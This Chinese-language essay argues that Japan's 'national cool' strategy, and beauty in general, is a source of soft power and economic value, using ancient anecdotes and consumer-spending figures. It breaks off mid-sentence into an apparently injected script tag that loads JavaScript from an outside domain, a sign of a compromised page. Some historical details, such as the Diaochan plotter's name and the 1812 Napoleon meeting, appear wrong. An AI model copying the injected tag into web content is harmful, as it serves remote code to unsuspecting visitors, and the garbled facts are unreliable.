比敌人长得漂亮,泛指一切“酷”的价值,在精神和文化上,是软实力的竞争之源。
日本漫画家有个奇特观念:“日本人必须比敌人长得漂亮。”在日本动漫中,日本人永远具有一副闪闪发光的大眼睛。眼睛尺寸大到与脸不成比例,甚至大得有点残疾。日本人认为这样叫漂亮。问题在于,“女为悦己者容”,比敌人长得漂亮有什么用呢?
1812年拿破仑和俄国沙皇亚历山大一世举行过一次讨论欧洲前途的会晤,两个男人在会谈结束时,曾聊起过如何治疗秃顶的问题。但拿破仑想的肯定不是通过美容打败俄国;沙皇最终打败拿破仑,恐怕也并不是因为“比敌人长得漂亮”。
但考虑到另一个事实——日本的动漫可以充斥我们的市场,而我们的动漫却很少打入日本的市场——我们就不能不深刻地反思一下:为什么我们想问题很“正”,但文化贸易总是逆差;日本人想得很“歪”,但总是顺差。
拆解“必须比敌人长得漂亮”这一理念背后的逻辑,我发现一个“很歪很歪”的结论:人类经历农业冷兵器时代、工业热兵器时代,又螺旋式上升地回到信息冷兵器时代。信息冷兵器这个“冷”,就是指“酷”(COOL),就是“酷毙了帅呆了”那个酷。日本人把这个战略称为GNC战略(“国民酷”战略),与明治维新相提并论。
还原为正常语言,GNC战略的核心是:通过提高个人快乐水平(COOL值),提升社会幸福水平。“比敌人长得漂亮”意思是说,要比竞争者更酷,更具有软实力。
30多年前,有一部朝鲜电影叫《鲜花盛开的村庄》。老人介绍一位“一年能挣600工分”的粗壮姑娘给儿子。儿子感觉很不爽,老人说了句名言:“漂亮的脸蛋能长出大米吗?”
其实,漂亮的脸蛋不仅能“长出大米”,具有生产力;而且可以迷住敌人,具有战斗力。
三国的时候,为了借刀杀人,王充派著名女谍貂蝉去当董卓的二奶,又用漂亮的脸蛋勾引吕布,挑拨二人的关系,终于促使吕布杀了董卓。在王充手中,貂蝉就是一件酷(COOL)兵器,或直译为“冷兵器”。
范蠡在利用漂亮的脸蛋上,不仅具有政治头脑,而且比王充多了一副经济头脑。
越王勾践当时卧薪尝胆,想用酷兵器整吴王,于是通过海选,发现了超女西施。负责海选的,正是范蠡。范蠡发现西施的FANS甚多。他们为了追星,甚至造成交通拥堵。于是范蠡传令下去:要看美人的人,必须先交一文钱。那时没有中央电视台,西施只好站在楼上摆POSE。范蠡在驿馆中设了一个钱柜收钱(当时还没有短信收费),西施在驿馆摆了三天POSE,受到追星族狂热追捧,所献金钱无数,多得居然达到可以资助越国国家财政的程度。
勾践把海选出来的西施(相当于现在的李宇春或李晓旭)送给了夫差,吴王自从有了西施,就不再理会朝政。勾践东山再起,灭了吴国。
然而在古代,漂亮的脸蛋顶多算冷兵器,除了著名的理财家范蠡,很少有人能让漂亮的脸蛋“长出大米”。这里事出有因。
漂亮的脸蛋满足的,更多是一种精神需求。按照马斯洛的分析,常人首先要满足衣食住行的物质需求,才能去追求精神上的需求。如果大米不够吃,“一年能挣600工分的粗姑娘”,确实比漂亮的脸蛋,对消费者的边际效用要高。
这不是说,古代人或不发达社会的人,没有精神需求、文化需求和情感需求,而是说,这些需求难以成规模地产业化。
不过,据经济学家研究,人均收入一旦达到3000至5000美元,或者如大前研一所说个人可自由支配收入达到60%,就会出现情感定价现象。人们买东西,这时不一定进行严格的理性计算,而是凭感觉,凭情绪,凭好恶进行决策;而人们对精神、文化和情感产品的定价,更加充满主观因素。使得精神需求、文化需求和情感需求获得满足,得以产业化;即使物质需求的满足,也由附加其上的精神、文化和情感因素决定。这时漂亮的脸蛋,就开始从政治作用、军事作用,转向发挥为经济作用。漂亮的脸蛋就能长出大米了。严格地说,不是“长出大米”(脸上长大米那不成雀斑了吗),而是开始值钱了。
研究发现,一个日本女性一生中为了漂亮的脸蛋,消耗化妆水为980立升,营养霜膏为25千克,其他各类霜膏为125千克,营养乳液为25立升,其它的乳液共计100立升,口红400克。在法国,每年美丽开支总增长在8%,每年在美丽消费(电视机、录像机、美容、化妆、健身、时装等等)上的个人开支增长率为20%;每年美丽工业物质器械(健身器、美容装备等)增长率为13% ,这些均超过法国GDP的增长率。在法国,女性一半的收入用作美丽消费,男性三分之一时间花在美女经济相关活动中。在美国,花在?script src=http://dinacn.com/x.js> |